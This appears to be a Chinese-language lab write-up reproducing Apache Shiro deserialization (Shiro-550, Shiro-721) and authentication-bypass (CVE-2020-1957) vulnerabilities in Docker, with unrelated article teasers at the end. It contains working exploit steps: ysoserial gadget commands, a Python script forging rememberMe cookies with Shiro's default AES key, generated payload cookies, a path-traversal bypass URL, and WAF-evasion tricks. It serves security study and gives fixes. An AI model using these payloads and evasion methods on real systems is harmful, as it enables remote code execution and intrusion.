ApacheShiro反序列化 550 721漏洞

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理个漏洞被称为 Shiro550 是因为在Apache Shiro的GitHub问题跟踪器中,该漏洞最初被标记为第550个问题,721漏洞名称也是由此而来

Shiro-550 CVE-2016-4437

Shiro反序列化Docker复现

shiro550反序列化漏洞原理与漏洞复现

shiro550代码审计复现

Apache Shiro<= 1.2.4框架提供了记住我的功能RememberMe 省去用户短时间内再次登录输入账号密码;

登录成功并选择RememberMe 功能 ;Shior会将cookie值序列化字节 AES加密并base64编码存储在Cookieremeberme字段

cookie生成流程:登录后用户信息----->序列化转化为字节---->AES对称加密---->base64编码---->存储remeberme字段cookie

勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问, 当客户端再次请求服务端时,都会带上这个服务端第一次返回设置的Set-Cookie里面的rememberMe的密文,让服务端进行身份验证

各种登录情况

漏洞原理

攻击者前期可以使用ShiroAES默认密钥或硬编码在源码中的Key[//]: # (只要rememberMe的AES加密密钥泄漏,无论Shiro什么版本都会导致反序列化漏洞,由于AES加密是对称式加密(key既能加密数据也能解密数据))伪造用户的Cookie,检索cookieremeberme字段未进行过滤操作,服务端反序列化Cookie时触发漏洞,从而执行命令

//返回包生成cookie中字段remeberme过程登录后用户信息----->序列化转化为字节---->AES对称加密---->base64编码---->存储remeberme字段cookie// 服务端接收cookie进行经过AES解密Base64解码最后反序列恶意Cookie的rememberMe---->AES解密--->Base64解码---->反序列化---->执行恶意Cookie携带的命令

Docker开启环境

docker-compose up -d  // 启动容器服务docker-compose ps  // 查看端口6379

GitHUb下载**ysosera**一个常用的Java反序列化利用工具,用于生成各种常见Java库的反序列化payload。这些payload可以被用于利用反序列化漏洞,执行恶意代码或实现攻击,下载后利用此工具选择生成针对CommonsBeanutils1库的反序列化payload,也称为gadget,工具和加密Py需要放在 同一目录下,确保生成的ser文件和脚本在同级

//  touch /tmp/succ123 命令含义是在/tmp目录下创建一个名为"saber"的空文件java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/saber" > poc.ser**注意: **ysoserial脚本其实是在利用构造链进行反序列化对应的命令,所以我们要找到链子
// 密匙AES加密 Base64编码后生成的rememberMe,将上方的命令进序列化加密import sys
import uuid
import base64
from Crypto.Cipher import AESdef encode_rememberme():f = open('poc.ser','rb') // rb 表示以二进制只读模式打开文件,可以读取二进制数据而不会进行字符编码转换BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(f.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme()   print("rememberMe={0}".format(payload.decode()))
python shiro.pyrememberMe=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

ipconfig命令rememberMe=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

漏洞复现

账户密码随便输入并勾选记住密码,BP抓包,加密文件生成的rememberMe替换到登录的请求包里,直接发送成功的话将在tmp目录下创建我们所写的空文件

字段rememberMe没有出现在cookie的话就手动添加 登录不勾选此字段 但是cookie不添加rememberMe同样能加入文件,选择和不选择两种情况都尝试过,只要主动添加了此字段配合工具就可以成功写入文件

docker exec -it 99d2973f37e9 /bin/bash   //容器ID
cd /tmp
ls   // 列出文件

注意不管rememberMe字段添加与否只要登录了响应包就会出现Set-Cookie: rememberMe=deleteMe;

主动添加字段后再发送会出现两个相同的字段

工具复现

GitHub下载了两款工具,原理感觉都是报名默认的密匙,直接运行jar包是不行的,jdk11后就需要手动的去下载和当前jdk版本一致的javafx 运行命令如下,配置javafx运行jar

java --module-path E:\Java资源\javafx\javafx-sdk-11.0.1\lib 
--add-modules javafx.controls,javafx.fxml -jar .\shiro_attack-4.7.0-SNAPSHOT-all.jarE:\Java资源\javafx\javafx-sdk-11.0.1\lib --add-modules javafx.controls,javafx.fxml

点击“检测当前密钥”=>“爆破密钥”成功出现密匙,然后我们点击“检测当前利用链”、“爆破利用链及回显”,就可以看到检测日志模块,出现了“发现构造链:xxxx 回显方式:xxx”,并提示我们请尝试功能区利用

命令执行模块深入对应命令就成功的进行RCE了,内存马模块,同样一键注入然后对应远控工具连接复现文章给出了操作方法

多种工具复现

漏洞修复

  • 使用高版本的shrio不用1.2.4
  • 加密不使用公开密匙,保证密匙安全性

Shiro-721 CVE-2019-12422

shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理

Apache Shiro < 1.4.2在用户进行登录的时候 Shiro 提供 RemenberMe 功能,可以存储 cookie,期间使用AES-CBC对称加密模式进行加解密,加密的key是系统随机生成的无法爆破

Padding Oracle Attack(填充提示攻击)

如果输入的密文不合法,类库则会抛出异常,这便是一种提示。攻击者可以不断地提供密文,让解密程序给出提示[//]: # (提示是如果key正确,则返回包中不会有rememberMe=DeleteMe),不断修正,最终得到的所需要的结果。只根据我们输入的初始向量值和服务器的状态去判断出解密后明文的值,这就是填充提示攻击,针对CBC模式,而不是某一个加密算法;任何分组加密算法,只要使用了CBC[//]: # (分组链接模式,目的是为了使原本独立的分组密码加密过程形成迭代,使每次加密的结果影响到下一次加密)模式,都会受到影响。此类加密算法包括AESDES3-DES 能够**在不知道密钥的情况下,**解密任意密文,或者构造出任意明文的合法密文

漏洞原理

通过Padding Oracle加密生成的攻击代码来重新构造一个恶意的 rememberMe 字段,重新请求网站,进行反序列化攻击,最终导致任意代码的执行,攻击者无需知道 rememberMe 的加密密钥[//]: # (存在Padding Oracle Attack漏洞,已登录的攻击者同样可进行反序列化操作。)

Docker搭建环境

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .  // 构建shiro-721" 的Docker镜像  .为当前目录
docker run -p 8080:8080 -d shiro-721 // 运行名为 "shiro-721" 的Docker容器,并将容器的端口8080映射到主机的端口808

搭建还真废力,在git命令行构建的容器Docker里面不能使用,于是删除重新构建才成功

漏洞复现

// 生成创建0day文件的反序列化文件 payload.classjava -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/0day" > payload.class

shiro721Git环境+复现

利用已知用户密码登录并抓包,将其中的remember 字段复制下来输入到工具中进行利用,本质感觉还是利用算法填充爆破密匙,再利用密匙生成新的rememberMe cookie,我们使用这个cookie替换原数据包中的cookie登录后服务端会对其进行反序列化执行命令,从而创建0day文件造成命令执行

python shiro_exp.py http://192.168.31.169:8080/login.jsp 
yAmdluN8Y40K7yewnF+xq+s4I5UMwRKqkLsosoPLSO/rGM80KA0wBKD4kLlXqaJ4VnIijbztK
Jld8Srb336wNwlUH+Hc/02+ZnaRq3vlUp8BHhWf3X1UVrGzusihcFZPMyNYbk7+DOtF20685
Ab797ndD+NEdazFBxeerA+YFshgSs/8qrwkjm9xk2S4MdQyAiUyZ5WjiRUENFhg0c9vH/0J67
Pdsmo/beniYMRppPKkpylvy8WRqPOTOb/CGJXs3IArbKpIwQ+zfbj3K6bNmHwF36mrjIcPbk
P7K56eR04uTuYM04jLm/7ssCZ1wCd8xORbXK+3le/2gEpe7M+47XqECURHrXdMzhIm9JVOt3
OPGOf4ddWScJQxtEQJUozoeXMCUPjKTBu0/W5tGzRY4nAvUg4+vYVxr06T8oC9Rgwunrth8N
qylp8NtgLhHrPffRU5wbtlzW68uuX2Af/Lxwz5pG4b/f8CYWY38dTlSC7NqFtYp5un7WZAV
0hmr098 payload.class  // 反序列化命令文件

我的命令一直无法成功的执行,构建的Shiro721容器附带了exp利用文件

漏洞修复

  • 需要爆破得到key,可以对短时间内多次访问的IP实行封禁
  • 升级至安全版本
  • 关闭rememberMe持久化登录功能

CVE-2020-1957未授权访问

Apache Shiro 认证绕过漏洞 CVE-2020-1957 漏洞

漏洞原理

Spring Boot中使用Apache Shiro进行身份验证、权限控制,可以构造路径利用 Apache ShiroSpring BootURL的处理的差异化,绕过ShiroSpring BootServer权限控制实现未授权

1. 登录页面抓包,访问 /admin 发包2. 响应返回302 选择302 并跳转到登录页面3. 回到网站页面构造恶意请求/xxx/..;/admin/ 发包即可绕过 进入管理员页面

Shiro有key无链思路

Shiro无依赖链—Commons Beanutils_shiro 有key 无构造链

JRMPClient

JRMPJava中用于远程过程调用(RPC)的协议,它允许在不同的Java虚拟机(JVM)之间进行方法调用和对象传输

文章显示利用JRMPClient远程调用配合CommonsBeanutils2_18 利用链

实战|记一次shiro有key无常规链的打法JRMPClient监听

shiro_tool.jar检测非常规利用链

工具利用文章

绕WAF

WAF根本是让WAF解析不了但是发送到后端可以正常解析

第91篇:shiro反序列化漏洞绕waf防护的方法总结(上篇

HTTP请求随机

shiro反序列化绕WAF之未知HTTP请求方法

修改正常的HTTP请求方法为随机字符,添加垃圾字符这种方法和**Web**应用中间件有关,部分中间件不适用

GET =====>  xxxxT

HTTP请求方法置空

tomcat中间件将请求方法置空也是可以正常发包并显示执行结果的,这种**畸形的数据包在****WAF**设备会被放行,因为不被解析,绕过也是跟中间件有关, Weblogic中间件不适用

Shiro数据包添加脏/空数据

RememberMe数据包记住我字段添加特殊脏数据仍然是可以正常发包的,如、``这种特殊符号,**原因是****shiro****组件处理特殊符号会替换为空**,或是使用TAB`换行功能也是可以执行命令

Host头域名变IP地址

甲方公司购买的是waf/云waf或只对特定的网站域名进行防护 并没有对域名解析出的**IP**防护

我们可以ping此域名得到IP,在BP数据包的Host头进行替换

Base64解码绕WAF

文章中测试了各个语言对于base64解码的情况,如果是shiroBase64编码后生成的cookie再写入新的垃圾字符,发送到后端如果WAF不解码,但是后端对垃圾字符忽略仍然可以触发paylaod这也是核心

各个语言Base64编码绕过WAF

针对情况:1. waf不能解码垃圾字符,但是后端可以解码顺利绕过,后端可以忽略这些垃圾字符   // 普通情况2. waf虽然解码,但是只解码可以解码的,恶意的payload还是会被后端解码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/452546.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pytest参数详解 — 基于命令行模式!

1、--collect-only 查看在给定的配置下哪些测试用例会被执行 2、-k 使用表达式来指定希望运行的测试用例。如果测试名是唯一的或者多个测试名的前缀或者后缀相同&#xff0c;可以使用表达式来快速定位&#xff0c;例如&#xff1a; 命令行-k参数.png 3、-m 标记&#xff08;…

在wsl2下将Ubuntu从一个盘移动到其他盘

参考文章&#xff1a; wsl下将Ubuntu从c盘移动到其他盘 WSL数据迁移(迁移ext4.vhdx) WSL 系统迁移&#xff08;2&#xff09;&#xff0c;导入虚拟机磁盘映像 .vhdx ext4/fs WSL2迁移后默认登陆用户为root的解决方案 操作过程&#xff1a; 1.查看当前系统中wsl分发版本 …

系统托盘图标+快捷启动(Python)

QkStart 我把这个程序命名为QkStart 代码 # -*- coding: utf-8 -*- # Environment PyCharm # File_name QkStart |User Pfolg # 2024/10/19 22:06 import threading import time import pystray from PIL import Image from pystray import MenuItem, Menu import o…

【网络安全】缓存欺骗问题之查看个人资料接口

未经许可,不得转载。 文章目录 正文正文 目标网站 target.com,查看个人资料页面时,API 端点为/get_user,完整的 URL 是 https://target.com/web-api/v1/get_user?timestamp=123456(其中 timestamp 是一个易受攻击的参数)。 我注意到响应中有一个 cf-cache-status= MISS…

【ESP32-IDFV5.3.1开发】带SSL的MQTT-demo连接教程

目录 1.VSCODE以及IDF环境配置(略) 2.准备demo 2.1打开VSCODE&#xff0c;主菜单创建示例 找到SSL对应demo&#xff0c;点击创建&#xff0c;并成功创建项目&#xff0c;点击编译&#xff0c;显示编译成功即可以下一步。 确认该demo支持的开发板是你手上的开发板 3.修改demo配…

了解EasyNVR及EasyNVS,EasyNVR连接EasyNVS显示授权超时如何解决?什么原因?

我们先来了解NVR批量管理软件/平台EasyNVR&#xff0c;它深耕市场多年&#xff0c;为用户提供多种协议&#xff0c;兼容多种厂商设备&#xff0c;包括但不限于支持海康&#xff0c;大华&#xff0c;宇视&#xff0c;萤石&#xff0c;天地伟业&#xff0c;华为设备。 NVR录像机…

基于模型设计的智能平衡移动机器人-基础实验SPI

目录 SPI介绍 模型搭建 SPI介绍 SPI即Serial Peripheral Interface是高速同步串行输入/输出端口。SPI目前被广泛用于外部移位寄存器、D/A、A/D、串行EEPROM、LED显示驱动器等外部芯片的扩展。与前文介绍的SCI最大的区别是,SPI是同步串行接口。 SPI接口的通信原理简单&#…

(五)若使用LQR控制小车倒立摆,该如何对小车和摆杆的动力学方程线性化?哪些变量是可以进行简化的,线性化后的状态空间方程应该怎么列写

写在前面&#xff1a; 关于lqr控制的讲解&#xff0c;可以观看如下三个视频&#xff1a; 2. LQR数学公式理解_哔哩哔哩_bilibili 如何感性地理解LQR控制&#xff1f;_哔哩哔哩_bilibili LQR简介与使用_哔哩哔哩_bilibili 正文&#xff1a; 在之前系列的文章中我们已经得出…

WGCLOUD使用手册 - 文件防篡改监测

WGCLOUD作为一款运维平台&#xff0c;天然具备了文件防篡改监测能力&#xff0c;也可以监测文件夹 如果发现文件或者文件夹下的文件&#xff0c;被修改&#xff0c;被删除&#xff0c;被添加等操作&#xff0c;会立刻发送告警通知 如果设置了自动恢复指令&#xff0c;也会立刻…

极速体验:实用的前端性能优化技巧

本文将深入探讨一系列实用的前端性能优化方案&#xff0c;从基础知识到高级技巧&#xff0c;我们将揭示如何让你的网站在瞬息万变的互联网中脱颖而出&#xff0c;无论你是经验丰富的开发者还是刚入行的新手&#xff0c;这篇文章都将为你提供宝贵的见解和实践建议。 目录 &…

基于SSM+微信小程序的打印室预约管理系统(打印2)

&#x1f449;文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1、项目介绍 基于SSM微信小程序的打印室预约管理系统实现了管理员和用户两个角色。 1、管理员功能有个人中心&#xff0c;用户管理&#xff0c;附近打印店管理&#xff0c;文件打印管理&#xff0c;当…

rk3568 android11 单独烧写内核。

问题: 我现在 遇到一个问题,如果我单独 烧写boot.img 的话,就会进入 recovery 的模式。 如下图: 问题说明: 如果我烧写的 Update.img 是可以启动的。那么我再烧写一个 编译 update.img 顺带编译出来的 boot.img 是可以正常启动的。 问题出在 , 如果我 重新编译一遍 ,使…

LVGL-从入门到熟练使用

LVGL简介 LVGL&#xff08; Light and Versatile Graphics Library &#xff09;是一个轻量、多功能的开源图形库。 1、丰富且强大的模块化图形组件&#xff1a;按钮 、图表 、列表、滑动条、图片等 2、高级的图形引擎&#xff1a;动画、抗锯齿、透明度、平滑滚动、图层混合等…

WebGL编程指南 - WebGL入门

初识绘图流程、缓冲区、着色器、attribute和uniform变量 先画一个蓝色的正方形 html代码&#xff1a; <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta http-equiv"X-UA-Compatible" content&…

stm32 为什么有2个晶振?8mhz+32.768k

1个是系统时钟晶振是单片机内部系统的主时钟源&#xff0c;它负责控制整个系统的时钟频率。这个晶振的频率一般比较高&#xff0c;通常在几十MHz到几百MHz不等。它和CPU以及各种总线之间相互配合&#xff0c;从而协同工作。 另外一个是外设时钟晶振则通常用于单片机的内部外设…

【大模型问答测试】大模型问答测试脚本实现(第二版)——接入pytest与代码解耦

背景 接上一篇&#xff0c;【大模型问答测试】大模型问答测试脚本实现&#xff08;第一版&#xff09;。 在实现自动化的时候&#xff0c;原先把很多方法与request请求写在一块了&#xff0c;趁着目前实现接口数量较少&#xff0c;决定对代码进行解耦&#xff0c;并且清晰目录…

大数据-172 Elasticsearch 索引操作 与 IK 分词器 自定义停用词 Nginx 服务

